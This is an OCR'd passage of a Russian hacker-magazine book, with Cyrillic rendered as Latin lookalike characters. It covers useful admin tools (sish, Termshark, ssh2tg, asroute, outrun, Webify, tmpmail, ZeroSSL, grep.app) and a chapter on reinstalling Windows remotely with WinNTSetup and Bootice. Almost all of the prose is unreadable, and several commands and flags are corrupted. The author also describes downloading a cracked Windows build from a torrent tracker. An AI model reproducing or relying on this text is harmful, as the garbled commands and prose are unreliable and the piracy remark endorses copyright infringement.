443. B nporuBHOM ciyuae 6yaer npobpoiueH TCP-nopt, ecinu OH He 3aHAT Ha cepBepe.

OduumnanbHas HHCTPYKLHS 10 YCTAHOBKE COCTOMUT BCErO M3 IBYX KOMaHL:

docker pull antoniomika/sish:latest

docker run -itd --name sish \
-v ~/sish/ssl:/ssl \
-v ~/sish/keys:/keys \
-v ~/sish/pubkeys:/pubkeys \
--net=host antoniomika/sish:latest \
--ssh-address=:22 \
--~http-address=:80 \
--https-address=:443 \
--https=true \
--https-certificate-directoty=/ssl \
--authentication-keys-directory=/pubkeys \
--private-key-location=/keys/ssh _key \
--bind-random-ports=false

IMocne 3Toro MoxHO MpocTo mpoOpackiBaTh NOpThl Kak depe3 oObsiuHbIE SSH. Ho 3t0
MOXHO ObLIO OB A€aTh M TaK, a ThI JIyyllle TOCMOTPH, YTO OyZeT, eclu caenaTh HEKOTo-
pble HACTPOHKH MO MHCTPYKLHMH B PEMO3HTOPHH:

ssh -R xakep ru:80:localhost:8080 your domain.com
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On — u http://xakep_ru.your_domain.com OyJeT Mpo3payHO NEpeHanpaBieH Ha TBOH
nokanbHbli nopt 8080! Camo coboH, 0JHOBPEMEHHO MOXET XHTb CKOJILKO YTOHO CECCHH.

Termshark

Termshark (https://github.com/gcla/termshark) — 310 koHCONBHBIH poHTEHA AN
tshark. Ymeer, HanpuMep, UUTaTh pcap WM 3aXBaThiBaTh TPahHUK B pealbHOM BPEMEHH,
npsMo Kak «B3pociblity Wireshark (puc. 5.9).

logix@logix-desktop: </Downloadstermshark_1.0.0_linux_x64

ternshark v1.6.0

Fllter: 5
neé pestination - Protocol -

0.000008 .125.34. 192.168.1.157 243 ~ 57824 [ACK] Seqel Ackel Wine138 Len

0.874719 . 81 56 192.168.1.10 57586 -+ B880% [PSH, ACK] Sea=1 Ack=1 Win=§

0.0a08310 2. 168.1. 192.168.1.187 BOGY - $7500 [PSH, ACK] Seqal Ackelll Win
0.080338 . -1:15 192.168.1.10 57566 — BBG9 [ACK} Seq=111 Ack=111 Win=S50
o.
e.
e.
o,

245460 A A 192.168.1.157 Applicatian bata

259238 . »1.157T 162.125.34.6 Application Data

2592067 . 1,18 182.12%.134.0 11CB segnent of a reassembled POU)
322911 = = Broadcast Whe has 192.166.1.187 Tell 192.168.1.157

[+]1 Ethernet l,su: & e E ?

[+] Internet Protocol Version 4, Src: 162'.125.147.6. Dst:
[+] trensmtssion Control Protocol, Src Port: 443, Ost Port: 57824, Seq:

FESEIAR NN [ |
&

Puc. 5.9. [lemo v3 penoautopus

Ectb nogaepxka ¢HIbTPOB, MOXHO aBTOMaTHuecku cobupats TCP-noTtoku u3 otaennb-
HBIX [1aKETOB, IPOCMATPHBATh COJEPKHMOE TTAKETOB B COOTBETCTBHH C IIPOTOKOJIOM.

Hanucan Termshark Ha Go u cobupaercs nox nobywo miatgopMy — roroBble OUIbI
yxe goctynusl 11a Linux, Windows, BSD, Android (moBepx Termux) u gaxe macOS!

CkpunTtbl gna SSH

Hnsa SSH Mbl cobpanu cpa3y HECKOJIBKO MOJIE3HBIX, 1a U NPOCTO HHTEPECHBIX MHCTPY-
MEHTOB.

Hns Hauana — yeenomienus (https://github.com/pdacity/ssh2tg) B Telegram npu SSH-
aBTOpH3aLKHU. Menoub, a npusTHo (puc. 5.10)!



hackcat 3anorvhuncs Ha stvd (azure)

'
S6697 Republican Unitary Telecommunication Enterprise
Beltelecom®,

Puc. 5.10. YBegomnenus 8 Telegram npu SSH-asTopusayum

YcraHoBKa npocTta KakK nBa pyO6ns: CKauMBaeM CKpHUNT
(https://raw.githubusercontent.com/pdacity/ssh2tg/master/ssh2tg.sh) B
/usr/local/bin/ssh2tg.sh (M1 APYTyl0 ynoOHYIO Nanky), MeHsieM HaCTPOWKH B CKpHII-
Te (API-ToxeH 6ota u ID yarta, B KOTOpBIH CnaTh YBEIOMJIEHHUs), BellaeM aTpUOyT Hc-
MIOJIHEHHS U TIPONHMCHIBAEM B KOHEL /etc/pam.d/sshd CIEMYIOILY O CTPOKY:

session optional pam exec.so type=open_session seteuid
/usr/local/bin/ssh2tg.sh

Puc. 5.11. CKpuH B3AT U3 peno3mTopusi C NporpaMMon
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BropeiM mnokaxy Tebe ManeHskoro areHta SSH Attack Stats (https://github.com/
Sodium-Hydrogen/SSH-Attack-Stats), kKOTOpbIii BHIBEIET ONEPATHBHYIO CBOIKY aTak
Ha TBO#H cepBep.

Ilocne YCTaHOBKH MO>XXHO MaJIOCTh KaCTOMH3HPOBATh BBLIBOI. K INpUMEPY, Cl€ayrlIas
KOMaHa 3aCTaBHUT IMOKA3bIBATh HE OoJibllle MATH 3anucei u3 oros SSH:

/usr/local/bin/log-stats ssh -c 5
Bce nosicHeHHs ecTh B pENO3UTOPHH C IPOrPaMMOH.

asroute

Ecnu ThI HHXEHep kakoro-HUOyIb TEJIeKOM-OIepaTopa, TO TeOe perysipHO NPHUXOIUTCS
KOBBIDATBHCA C Tp&CCPIpOBKOﬁ, MHUHraMHd 4 OONBIIMMH poyTE€paMH. I[HSI TeOs HamHcalH
asroute (https://github.com/stevenpack/asroute) — yTHIHTY, KOTOpas MO3BOJIAET K BHI-
BONYy traceroute H00aBHTh HHGopMauuo 06 ASN TpaH3UTHBIX MapLIPYTH3aTOPOB.
Ha npuMepe 3T0 BBIMIAONT TaK:

$ traceroute -a www.bhutan.gov.bt | asroute

traceroute to bhutan.gov.bt (202.144.128.217), 64 hops max, 52 byte packets

-> ASO (Reserved)

-> *

-> BRESNAN-33588, US

-> LIGHTOWER, US

-> BRESNAN-33588, US

-> CHARTER-20115, US

-> TELIANET Telia Carrier, EU

=-> *

-> NTT-COMMUNICATIONS-2914, US

-> DRUKNET-AS DrukNet ISP, BT

-> BTTELECOM-AS-AP Bhutan Telecom Ltd, BT

VcraHoBKa MMoka AOCTYIIHA TOJIBKO IJiA macOS, HO 3aTO AeJIaeTCs OJAHON KOMaHIOH.

$ brew install asroute

Asroute HamucaH Ha Rust, Tak YTo TeopeTHYeCKH MOXeET ObITh 6e3 mpobyieM CKOMITHIIH-
poBaH mox Oy Apyryro miardopMmy, HO Ha MOMEHT HalHMCaHHUA TJIaBbl Y MEHS IpH
cebe ecTh TObKO KoMIl ¢ Windows, y KOTOPOTo ¢ KOMITUJISAIHEH HETPAAULIMOHHOTO KoJa
€CTh HU3BECTHBIE TPYIHOCTH.

Outrun

I'Bozap mporpammel — ckpunt outrun (https:/github.com/Overv/outrun), xotopsii
MO3BOJISIET 3aMPOCTO BBIHECTH BBIYHMCICHHS 3a Mpenensl c1aboro TOHKOro KJIHEHTa Ha
MOIIHBIA yaJIeHHBIH cepBep, MpHYeM HalnHyHe TpeOyeMoH yTHIHTHI Ha yIaleHHOM XOC-
Te COBCeM He 00s3arenbHo. ENHHCTBEHHOE, YTO HYXKHO Ul paboThl, — YCTaHOBJIEHHBIH
outrun Ha 0060oMx XocTax (M Ha JIOKaJbHOM, H Ha YIaJeHHOM), IPHYEM C HAJIMYHEM IpaB
root (Mcnone3yeTcs chroot) (puc. 5.12).



Puc. 5.12. leMo oT aBTOPOB NpOrpamms|

Kak caMblil oueBHIHBbIN NpUMeEp (MPUBEOEHHBIH Oa)ke aBTOpaMH outrun) — MOXHO 3a-
MYCTHUTh JIOKaJIbHbIM BHIEOKOHBepTEp, Bpoae FFmpeg, ¢ ucrnons3oBaHneM pecypcoB cep-
Bepa. Ha rudxe B peno3suTopuH (TEXHOJOTHH M3JATENbCTBA IOKAa HE MO3BOJSAIOT BCTPO-
UTb €€ B 3Ty CTPaHHIly) 3aM€THa BECbMa 3HAYHTENbHAs pa3HHLA BO BDEMEHH BBITNIOJIHEHHUS.

Y cTaHOBHTb MOXHO [psAMO H3 pip.
pip3 install outrun
[ToToM MOXHO 3anycTHTb TpeOyeMyto KOMaHy Ha yJaleHHOH MallluHe:

outrun srvé4.local neofetch

daitnoBas cucrema 6y11eT OOCTYIIHA, 6yJITO JIOKaJlIbHasi, H p€3yJIbTAThl pa6OTbI KOMaHbl
(eCIIPI eCTb) TOXE 6)’}1}’T 3alMHuCaHbl B TCKYLUYHO IIANKy Ha JIOKAJIbHOM KOMIIE.

Beb

Webify — TpaHcnupyeM BbiBOA4 KOHCONMU

C nomousto Webify (https://github.com/beefsack/webify) MoXHO BbIBOJ MpakTHYECKH
m000H KOMaHb! TPAHCIMPOBATh kak BeO-cepBHC. Xopollee peleHHe 11 NpocToro iie-
pPHHTra KOHCOIH: ThI 3anyckaeilb Webify co cBoMM cepBHCOM, a Opyroi 4eaoBek pacyex-
nseT 6pay3sep (nnu curl) 1 B3auMoaeiCTBYET ¢ TBOUM MpHUIOXKeHHEM (puc. 5.13).

tmpmail
OTOT CKPUNT — OTJIHYHBIHA CIOCOO MONYYHUTh BPEMEHHBIH MOYTOBBIHM ALIMK NMPSIMO U3
TepmuHana. Eciu Tel ynTaews «Xakep» MM 3Ty KHHTY, — MHE, OYEBHIHO, HE HYXXHO

MOSACHATH, YTO 3TO TAKOE€ H 3a4€EM HYXHO, TaK YTO HCpCFIIICM Cpa3y K YCTAaHOBKE.

$ sudo dnf install jg curl w3m
$ wget https://raw.githubusercontent.com/sdushantha/tmpmail/master/tmpmail
$ chmod +x tmpmail

I'enepupyeM siLuUK:

$ ./tmpmail --generate
gpasixkauet@lsecmail.net

[IpoBepsieM noury:

./tmpmail --recent



Puc. 5.13. CkpnHwoT 13 ocduymnansHoro gemo pabotbl Webify

ZeroSSL

Tl Benb Toxe mymain, 4to OecruiatHble SSL-cepTHOHKATBI MOXHO MONYYHTh TOJBKO Y
Let’s Encrypt? Ve Het! Pebsita u3 ZeroSSL (https://zerossl.com/) BblkaTHIH anbTep-
HAaTHBHBIHA CEPBHC, I'le MOXHO MOJyYUTh BCe Te ke cepTHdHKkaThl Ha Te xe 90 nuei. Uc-
MOJIb30BaTh MOXHO cTapbli 10Opbiii ACME. Eciu no kakuM-To mMpUYMHAM Thl HCKaJ 3a-
MeHy crapuuky Let’s Encrypt, — BoT oHa (puc. 5.14).

> has been issued and is ready for installation. T6 continue, please follow the steps below.

Srv

We've prepared installation instructions for alt major server types.
To download and install your certificate, please follow the steps below:

Next Step —>

Puc. 5.14. ZeroSSL
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IIpouenypa Bbimycka COBCEM HEXHMTpas: MPOCTO yKa3biBaelllb MOYTY M MAapojb U MOA-
TBEpXKAaellb BrageHue JoMeHoM dyepe3 DNS unm 3arpyskoii Ha Hero 3agaHHoro ¢aiina.
Yepe3 HECKONBKO MHHYT CAHT CreHEPUPYET TBOH cepTHGHKAT U MPEATOKUT €ro cKayaTh,
a YTO JeNath Janblie — He MHE Te0s yUUTb.

TestTLS

testtls.com (https://testtls.com/) — 3710 ouepeaHoit cepBuc ans mpoBepku SSL/TLS,
ananor SSLLabs (puc. 5.15).

Puc. 5.15. PesynbtaT npoBepku xakep.ru

C ero noMous0 MOXHO JIETKO NPOBEPHUTh, NpaBunbHO 1M HacTpoeH HTTPS Ha TBoEM
(unu yyxoM) caiite.

TONE3HBLIE CANTbLI N CEPBHCHI

BoT elye HECKONbKO CCbINOK, KOTOpble He BXOOAT B KAaTeropui ytunurt KOMaHOHOM CTPOKW,
HO MOryT OKa3aTbCAa NONe3HbIMU.

Public API

Public API (https://public-apis.xyz/) — caiT, Ha koTopom cobpaHa uHpopmauus o nyb-
NWYHBIX UHTEepdencax caMbiX pPasHbIX CEPBUCOB U CCbINKW Ha AoKyMeHTauuio. MoxeTt npu-
roguTbCAa B CaMblix pasHbix cry4asx — oT MapkeTuHra go OSINT.

git commit -a

Puc. 5.16. Npumep
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GitExplorer

GitExplorer (https://gitexplorer.com/) — xopowas uHTEepakTuBHas wnapranka no Git
(puc. 5.16).

Grep.app

Tenepn MoxkHo (https://grep.app/) rpennyTs o BceMy GitHub HyxHOe HaM BXOXXKIaeHHE
npsMo u3 Opaysepa. [Ipuroaurcs s noucka CEKpeToB MPH MeHTecTe (WM Ha MporpaM-
Me bug bounty) unu ¢naros ot CTF, Hanpumep kak Ha puc. 5.17.

Puc. 5.17. grep.app

Authenticator

Ecnu TbI nonb3yeuibes AByX($akTopHOH ayTeHTH(HKalUHel, — Tebe SBHO MPUATHO ObLIO
Obl UMETh KJIIOYHM A BXOHA NMOJ pyKoH, a He B TenedoHe, KOTOpBIN elle HaWTH Hago.
[Tnarun  Authenticator (https://github.com/Authenticator-Extension/Authenticator)
s Chrome, Firefox u Microsoft Edge ymeer renepupoBats koabl mis 2FA npsMo B
Opaysepe. Taioxke oH nemnaer 63kan ¢ mudpoBanueM Ha Google Drive, Dropbox mmu
OneDrive. [Tonnepxxusaet knaccuueckue TOTP u HOTP, a ewe Steam Guard u Blizzard
Authenticator, Ha ciy4ai, eCJIH ThI 0JIb3Y€ElIbCS 3THMH IIoWaakaMu (puc. 5.18).

ra .

e AyTeHTudmkaTtop = &

Google

976420 y

Puc. 5.18. CKpUHLLOT Kycka OKHa pacLumpeHus C Koaom



Free for Dev

Free for Dev (https://free-for.dev/) — noabopka OecriaTHbIX CEpBHCOB, KOTOPbIE MOTYT
OBITH MOJIE3HBI )11 pa3paboTynKoB. PazyMmeeTcs, He Bce OHU OecriaTHbI, HO Be3ae yKa-
3aH CPOK MJIM JIMMHUT OECIUIaTHOTO HCIOJIb30BaHHs, KOTOPOTO MOYTH Bceraa Oosee yem
JIOCTATOYHO JUIsl TMYHOTO UCTIOJIb30BaHHUs UITH TeCTOB (puc. 5.19).

Pwuc. 5.19. Free for Dev

NTorwm

KoneuHo, Tbl MOXeLIb CKa3aTh, YTO JIETKO MPOXHUTH O3 BCEro 3TOro, a pyTHHHbIE 3aJauH
aBTOMAaTH3MPOBaTh CaMOIMKMCHBIMH CKpUNTaMH. Ho 3a4yeM, eclii ecTh TOTOBbIE OTJIAXEH-
Hble MHCTPYMEHTBI, KOTOpbIE OECIUIaTHO YJIy4YLIaT TBOIO paboOTy M CIKOHOMST BpeMs M
HepBbl? Xakep — OH Ha TO M XaKep, YTO MOXET cIelaTh cBoe paboyee MECTO Jydllle,
YeM Yy APYTHX.
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Koraa BuHAa He BUAHa.
NepeyctanaBnuBaem Windows 4yepes
yAaneHHbIN AoCTyn

Mapk bpyykui-Cmemnkoeckull

Y nanenka — tpeHn 3roro roaa. Okasanoch, 4TO MHOTHE BELIH MOXHO HE IIPOCTO A€NaTh
10 CETH, a elle H nyuyiue, yem B opuce. Jlymaro, nepeycranoBka OC — 10CTaTOYHO CTaH-
JlapTHas omnepauus, 4Tobbl ee MOXXHO ObIIO NepeHecTH Ha yaaneHky. M ceronus Ha mpH-
Mepe Windows st mokaxy, Kak 3TO A€IaeTCs.

Kak MBI Bce He MOHACIBIIIKE 3HaeM, K03€phbl 4acTo ‘-ITO-HPIGleL JIOMarT, a NOTOM NMPHHO-
CAT KOMII «TBDKIIPOTPaAaMMHCTY» C 00BICHEHHEM «s TYT 4YTO-TO Haman(a), H BCC€ HCYE3-
no». Thl IMOBOPYHUIB H I10JIE3€LIb 32 (bneun(oﬁ CO CBEXeEM BUHIOM.

Tax 3ro 6bu10 0 nera 2020 roxa, korna BHE3alHO HaJNeTEBUIMHA BHpPYC BCE MoJoMal, a
aHTHUBHPYCHI He nomMorany. KapaHTHH 106aBHII HOBBIX TPYJHOCTEH HE3aJauwIHBBIM MOJIb-
30BaTeNAM, Y KOTOPBIX KOMIIbI OT MOCTOSHHOTO CHICHHSA I0Ma PEXe JIOMaThCs HE CTalTH.
Toneko paHbie Bce npobieMbl pelan 3HaKOMbIH aHTHIIHHMK 32 OYTBHUIKY NMEHHOrO Ha-
NHTKA, a ceifyac MoXoAbl MOTYT 3aKOHYHThCA WITpadoM MIH GONbHHYHOM KOMKOH, Tak
4YTO KOMIMBIOTEPHAs MOMOILB (KaK U MIOYTH BCE OCTANIbHOE) [lepeexana Ha yIaleHKy.

U ecnu o4HCTHTD KOMI OT BUPYCOB €lll€ KaK-TO yAaeTcs Mo CeTH, To nepeycranoBka OC
00BIYHO NMPOBOAUTCA NpH Pu3nueckoM poctyne. CeroqHs s Nokaxy crnocob caenars U
3Ty npouenypy MONMHOCTBIO yIalneHHOH, 6e3 HHCTPYKLHi MONIb30BaTeNt0, Kak BXOIUTh B
3arpy304HO€ MEHIO M BbIOHpaTh 3arpys3ky C ¢iewmkd. BoHycoM KOMNBIOTEpHBIH yMenen
(TBI) CAOKOHOMHT Ha TPAHCIIOPTE.
OnucaHHble B rnase MeToabl MOryT nNpuUBecTU K HeOGpaTMMOMy noBpexaeHuto LleJ'IeBOﬁ
cucTeMbl. TMONbITKU NPOHUKHOBEHUS Ha YyXWE MallMHbI NPECneaylTcs Nno 3akoHy. Pepak-

UM He HeceT OTBETCTBEHHOCTW 3a ntobble nocneacTens UCnonbL3oBaHUs UHGOpPMaUUK U3
[aHHOW rnasbl.

NMoaroroBka

UrtoOb! epeycTaHOBUTh BHHAY, HaM noTpedyeTcs cobcTBeHHO BHHIa B BUae ISO-o0pa3a,
nporpammbl WinNTSetup u Bootice, ynaneHHoe nonkinioueHue, npaBa aiMHHa U NpsAMbIe

PYKH.
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O0pa3 MOxHO ckavath ¢ caiita Microsoft, Ho s BMECTO 3TOro 3allen Ha H3BECTHBIH pyc-
CKHIl TOPpEHT-TpeKep M CKayaa OTTyJa akTyaiabHyro coopky Windows 10 2004 c Boipe-
3aHHBIM XJIaMOM (puc. 6.1).

Windows 10 2004/2009 Compact

Crazun padpaborin: Release

Toa/Jara Bunycka: 26.07.2020
Bepcna: 2004 19041.421 / 2009 19042.421
PaspaGorsuk: Micresoft

PaspaanocTs: X86/364
Slamxk unTepdesica: Pyocral
TabGuaTka: o1cy reTByeT

Cucremunie 1pebosanun:

TIpoueccop: He sMewee 1 1Tu wan SoC

0O3%:1TB 21z 32-pasparEo cacresns it 2 I'G 118 64-paspatrod cuerers
Mecro ua micke: 16 I'B 11/ 32-paspaasofi OC i 20 I'B 418 64-pa3paauoit OC
Bicteoaganrep: DirectX g 1t 6071ee Do3HA% 8€peis ¢ npaltzepost WDDM 1.0
3Ixpan: 800 x 600

Onncanne:

KostnaxtHste cbopri obeux Pa3PRIHOCTe(T Ba OCHOBE OPHIHATHAX PITCKRS 05paos 19041.388 Version 200.4 - MSDN.
Tlurerpuposato KB4568831 (OS Build 190.41.121). 11 yeTazosar Windows 10 2009(20H2) [19042.421] - oTaexaen ranousy "OPHOR IeRMA".
Vaaren Windows Defender, Microsoft Edge, OneDrive, sce qacTs ), popmar esd.

Pwuc. 6.1. TabneTky suauws? A oHa ecTb!

Ecan cosects nosBosser, ckayaTh o0pa3 MOXXHO MpsAMO Ha KoMmbloTep kiueHTta. Ho
MOXXHO HECKOJIbKO YMEHBIUHTh 00BEM 3arpy3KkH H 3a0JHO KaCTOMH3HPOBaTh COOpKY, BbI-
taiuB u3 ISO-o6pa3a Bcero oauH ¢ann — install.wim/install.esd, HAXOAALUHHCA B
nanke sources B KOpHe oOpa3a (IpH >XeJaHHMH MOXHO €ro 3a0JHO [ONpPaBHTh
(https://xakep.ru/2020/04/28/windows-10-distrib/)). Ins ycTaHOBKH KpOMe HEro HHue-
ro He Hy>xHO. Daiin MOXET HMeTh HEMHOTIO JIpYrHe HMEHA, HO CIyTaTh €ro He C 4YeM —
pa3Mep nepeBajiuBaeT 3a rurabait U 3aHuMaer Oosbllyo yacTh 06paza. Gopmarsr WIM
u ESD — 310 npocto pasHbie Bepcuu opmara. [Tompobree 06 3Tom Ge300pazun yxe
HanucaHo B «Xakepe» (https://xakep.ru/2020/04/20/win10-install/).

K ynaneHHomy coeaMHeHHMIO 0COObIX TpeOOBaHMH HE MPENbSBIAETCS — OHO IOJDKHO
TOJILKO MOJIEPXKHUBATh rpaduky, To ecth Telnet U eMy NogOOHBIE NEPEXKHUTKH MPOLIIOrO
TYT He roaarcs. Y KoHe4HO, Ha 1ieJIeBOH MallWHe AOJDKHBI ObITh IOCTYIHBI NpaBa aMH-
HUcTparopa. Xots naxe B 2020 roay ro3epsl Tak H HE HAYYHJIUCh NOJIB30BAaThCA KOMIIOM
0e3 npaB aAMHHa, TaK 4YTO 110 3TOMY NOBOAY 0c000 HE BOJIHYMHCS.

Kak Tbl NOHs, CyTh 3TOr0 METOJA B TOM, YTO MbI HE BBIXOJUM H3 YCTAHOBJIEHHOH CHC-
TEMbI BIJIOTh JI0 Nepe3arpy3Ky B Y)K€ YCTaHOBJIEHHYIO HOBYH. ITO MOXET ObITh €JHHCT-
BEHHBIM BapHAHTOM B Cllyuyae NepeyCcTaHOBKH cUcTeMbl Ha VPS, korna ¢husnyecku npuu-
TH U [IEPEYCTAaHOBHUTD MOMPOCTY HEBO3MOXKHO, a MOTeps YJAJIEHHOT0 OCTYyNa NPUBEIET K
notepe camoro cepsepa. CoOCTBeHHO, MeTO ObLT MPHAYMaH W peaau30BaH 1Jis mepe-
YCTaHOBKH BHHJIbl Ha CEPBEpE, K MaHeJH KOTOporo Obul yTpayeH AOCTYII.

3a ocHoBy Obuia B3sta nporpamma WinNTSetup 4 (https://www.softportal.com/
software-45109-winntsetup.html). Ee 3agaua — pa3BepHyTs cucremy Hu3 00pa3oB
WIM/ESD B o6xon mratHoro ycraHosiinka 1 WinPE. EctecTBeHHO, nporpaMMa ymeet
HE TOJIKO NPHUMEHSATh 00pa3, HO U TBUKATh YCTAHABIMBAEMYIO CHCTEMY H HMEET MHOXe-
CTBO HacTpoek. B oO1ieM, A/ HOPMaJIBHOrO CHCaJMHHA HJIH «ThDKIIPOrPaMMHCTa» 3Ta
yTHAUTA 00s3aTenbHa K CKaYuBaHHIO (pHC. 6.2).
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B WinNTSetup 4.2 WimGAP v, 100190411

Search...

MER %
BOOTMGR PER #
BOOT PART &

" Search...

Search...
Mount Installation drive as:
atch UxTheme.dll to allow unsigned Themes [ I drive letter preassignment

Unattend L Mode: #  Wimboot

Puc. 6.2. MasHoe okHo nporpammsl WinNT Setup

IIpn nepBom 3amycke Tebe npennoxar ckayatb komrnoHeHTsl Windows ADK, 6e3 koTopbix
nporpamma He Oyaet pabotaTs. OHH 3aHUMAIOT COBCEM HEMHOIO MECTa, HO, K COXAJICHHIO,
B KOMIUIEKTE C MporpaMmoii He moctasisitorcs (puc. 6.3). [Ipocto umeii 310 B BUAY.

Files rgqéi}éé}r

WinNTSetup requires some files of the Windows 10 ADK (6
KB

Download them now?

Cancel

Puc. 6.3. [lokaunBaem

Eme wHam nmnortpebyercs Bootice (https://www.softportal.com/software-32168-
bootice.html) — kpaiiHe nosne3nas nporpamma ais paboTsl ¢ 3arpy3uMKamH, KoTopas,
cpeau npouero, noanepxkusaer penaktupoaHue BCD (Boot Configuration Data). Ham
OHa MOoHa00UTCs, 4TOObI 3aCTABUTD 3arpy34YHK BUH/IbI [PY3HTh HAllly CBEXEYCTaHOBIEH-
HYI0 CUCTEMY BMECTO CyLIECTBYIOUIEH (pHC. 6.4).

Ham Ba)kHO He MOTepsATh YAaJeHHbIN JOCTYM MOCje MepeyCTaHOBKH, BeJb HOBYIO CHCTe-
My Hazo eure HacTpouTb. [lockonbky HM3HAuanpHO MpouLeaypa HykHa Obuia Ha VPS, B
KayecTBe yAaleHHOro A0CTyna ucrnosb3oBaics RDP, noa koTopblit s U nenan 3TOT Me-
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toa. Ecnu Thl Hcnonb3yels Apyroe CpelicTBO, s pacckaxy, kak ObITb C HUM, IO3Xe.
B cnyuae xe ¢ RDP coxpaHeHue moctyna obecrnedHBaeTcsi pelakTHPOBAaHHEM peecTpa
110CJIE YCTAHOBKH, MMyCTh U @aBTOMaTHYECKHM.

#: BOOTICE v1.3.4 x54 - by Pauly

Physical disk Disk image BCO  Utdibes UEFI  Commandine About

Desaipton

BOOTICE is a portable utility to maruate (install, badap, restore) the
MBR or PBR of your disks.

In addition, BOOTICE offers you the possibility to manage disk partitions,
to edit disk sectors, to badwp or restore disk sectors, to partition and
format disks.

Destination Disk
HODO: Patriot Burst (223.6 GB, C: E: Z3) v

http/fwww.ipauly.com I 3 ; Eﬂl A

Puc. 6.4. Bootice

Jllo6oe BMewaTenbCTBO B 3arpy3o4Hbii koA, B TOM yucne nepeycraHoska OC (a oco6eHHO
nepeycTaHoBKa HelTaTHbIM CNocoboM), MOXET NPUBECTU K TPYAHO BOCCTAaHOBUMOMY «KWUP-
nudy». Bce onucanHoe aenan, ToNbKo Koraa co3dallb KONUKo AaHHbIX UMW ecny yMeellb UX
BOCCTaHaBnmBaThb!

CHeCTU U HaKaTUTL

Tenepn, korga Becb cOPT ckayaH U MOJArOTOBKA 3aBEpLIEHA, MOJKIIOYAHCA K KIHEHTY U
npucrymnai!

Pa3meTka gucka

[TepBo-HamepBo HY»XHO BbIIENUTh MecTo noa HoByo OC. Ha pazgen c cyuecTByouei,
KakK Obl HU XOTEJI0Ch, YCTAHOBUTh He Momy4yuTcs. [lo3ToMy OTKpBIBal aucneryep AUCKOB
u co3nasail HoBbIf pasznen B NTFS. [lo pasmepy menbiue 10 ['6aliT craBuTh He cieayet
(puc. 6.5).

Teneps, korna Msl co3any HOBBIH pa3zen (s coznain okoso 60 ['6aiit), ycraHaBiHBaeM.

WinNTSetup

OrtkpeiBaeM nporpammy WinNTSetup, BcmomuHaeM, kakyto Bepcuto Windows Mbl OyneM
CTaBHUTb, BHIOHPAaEeM COOTBETCTBYIOLIYIO BKJIAJKy BBEPXY OKHA. S| MCKpEHHE BEpIo, YTO
Tbl He Oyneuib ctaBuTh HU Windows XP, Hu Windows 2000, Tak 4TO onucaHHe YCTaHOB-
K4 Uig HUX onyuty. Tem Gosiee yTo npolecc He CHIIBHO OTJIMYAeTCs U Mporpamma JaeT
MHOXECTBO [0JCKAa30K.



fedcrsne  Bwa Crpasxa

Hxi=X

[ Pacnono... Gadnosan c... | Cocomme | Emkocn
ek Opmaen1] Mpocion - basass Vicrpasen... 100Mb

= Windows 10 Com... Mpocrod  Basoswi®  NTFS Wcnpasen... 63,2976
l < xakeprudive (D) Mpocrod  Bazoswwd  NIFS Vicopasen... 58,5976

xakep.ru drive (D3
11100 MB i /58,59 6 NTFS
Wicnpasen (ittudy | Vicnpasen (3arpysea, Daitn noaxaus Aeapwiic Z Wcnpasen (Basoseiit pazaen aucxa)

W He pacnpesenena Wl Ocxoswoit pasgen

mMGAP] v

ct location of the Boot

DoS e

Ux Theme.dl

Unattend

Puc. 6.6. "maBHoe okHo WInNTSetup
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Tenepsb naBaii pa3bepemMcs ¢ Ha3HaUEHHEM HAaCTpoek rporpamMmel. s ynobcTsa pasmedy
ux uudpamu (puc. 6.6).

1.

OTH [Be BKJIAAKH YNpaBisaloT Bepcued ycraHasnuaemodt Windows. Ilo yMomauanuio
OTKpBITa BTOpas BKJIaJka (Ha CKPHHLIOTE), KOTOpas MO3BOJIAET YCTAaHOBKY BCEX CO-
BpPEMEHHbIX BepcHi BUHBI. [lepBas Bki1agka HMeeT HECKOIbKO Apyrod Habop TBHKOB
U BO3MOXHOCTEH TOHKO HAaCTPOUTh CUCTEMY IE€pe] yCTaHOBKOM (puc. 6.7).

¥ WinNTSetup 4.2 WimGAP! v, 10.0.19041.1

ect location of Winc 1stallation files

e.dli to allow unsigned Themes

Puc. 6.7. YcTaHoBwuk cTapbix Bepcuii Windows

TyT Hy)XHO yka3atb nyTh K daiiny WIM/ESD ¢ Windows. ISO He noiiger. YtobsI
BBIATH U3 3TOH CHUTYalMH, MOXHO H3BJeub HYHBIH ¢ain u3 ISO mobbiM coBpeMeH-
HBIM apxuBaTopoM 1160 cMoHTHpoBaTh ero UltralSO unu DaemonTools. Kcraty, ec-
1 yxe ycraHosieHHas OC — Windows 10, cMonTHpoBath 06pa3 (npasaa, He Bcs-
KHH) MOXHO npsiMo npoBoaHukoM Windows! Toraa Huyero konupoBath He IPHIETCH.

. Tyt BeIOHpaeTcs 3arpy3ouHblii quck. He ToT, Ha KOTOpbI# ycTaHoBieHa Tekywas OC,

a UMEHHO 3arpy3o4Hblii. [To yMon4aHHIO €ro He BHIHO, HO NPH 3aMycKe MporpamMMa
MOHTHPYET €ro Ha z:, kak Ha ckpuHiiore. Tam Haxoautcs EFI-3arpy3unk u ero o6-
BfA3Ka, TaK YTO HEMBITHIMH pykKaMH TyJa sydiie He ne3tb. 1 Ha MBR-, u Ha GPT-
JIUCKax 3TOT pa3fell 30BeTcs «3ape3epBHpoBaHO cucTeMoit», Ho Ha EFI (GPT) oH or-
¢dopmatupoBan B FAT32, a na BIOS (MBR) — B NTFS. Kak Buauis, s CKpHHILIO-
TOB 5 UCNOJb3YI0 Ba KOMNbioTepa: ocHOBHOIM Ha MBR (TyT HOpManbeHyro noauepx-
Ky UEF]I, yBsl, He 3aBe3nu) u TecToBblil Ha GPT. Kopoue, He obpaiaii BHUMaHHA Ha
pa3sHHUIly Ha CKPHUHILOTAX.
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4. 310, moxanyi, camoe npocroe. HyHO Tonbko BbIOpaTh HOBOCO3JaHHBIN pa3zfel.
Bonbiie Huyero tporath He Hago. Ha HeM MoryTt ObITh U Apyrue ¢aisbl, ycTaHOBKE
3TO He noMeluaer. Ho nmyyiile, KOHEYHO, CTaBUTh HAa YHCTBIA TUCK.

5. B 3TOM cnHcke MOSBATCS pelaKLUH CHCTEMBbI, KOTOPBIE MOXHO YCTaHOBHTb. Kak Tl
NOMHHUIIB, B ogHOM ISO MoryT nexarb Heckonbko pefakuuit Windows: k mpumepy,
Enterprise u Pro; a eme onu mMoryT 6bITh pa3Hoit paspsanoctd. WinNTSetup nosBo-
nseT BbIOpaTh yCTaHaBIMBAEMYH peJakLuio, ecnd uX Oonbiie ogHod. Eme oauu
IUTFOCHK K YO00CTBY! )

6. Tyt y Hac cpa3y ABe 6IH3KHE 110 HA3HAUYEHHIO HACTPOMKH. Unattend I1O3BOJISET 331aTh
